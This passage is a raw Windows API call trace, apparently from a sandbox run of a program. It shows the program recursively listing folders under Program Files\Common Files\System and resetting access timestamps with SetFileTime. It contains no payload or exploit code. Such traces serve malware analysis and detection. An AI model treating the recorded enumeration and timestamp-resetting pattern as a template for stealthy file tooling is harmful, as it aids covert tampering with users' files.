hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.801] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.801] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0244.802] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.802] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0244.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.802] NtClose (Handle=0x170) returned 0x0 [0244.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9258d8 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925960 [0244.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0244.802] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.802] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9259e8 [0244.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9259e8) returned 1 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9259e8 [0244.802] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9259e8) returned 1 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9259e8 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920570 [0244.802] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x925a70 [0244.803] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9259e8) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0244.803] GetLastError () returned 0x12 [0244.803] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0244.803] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0244.803] GetLastError () returned 0x12 [0244.803] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x925960) returned 1 [0244.803] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.803] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9258d8) returned 1 [0244.803] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0244.803] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0244.804] GetLastError () returned 0x12 [0244.804] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.804] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.804] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.804] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0244.804] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.804] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US" (normalized: "c:\\program files\\common files\\system\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0244.804] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0244.804] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x927e90 [0244.804] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x927e90, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x927e90, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0244.805] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927e90) returned 1 [0244.805] NtClose (Handle=0x1bc) returned 0x0 [0244.805] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0244.805] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd620 [0244.805] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.805] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.805] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.805] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920590 [0244.805] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x9258d8 [0244.805] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0244.805] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0244.805] GetLastError () returned 0x12 [0244.805] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd660 [0244.805] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0244.806] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.806] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0244.806] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0244.806] GetLastError () returned 0x12 [0244.806] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0244.806] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0244.806] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0244.806] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0244.806] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0244.806] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0244.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0244.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc" (normalized: "c:\\program files\\common files\\system\\msadc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 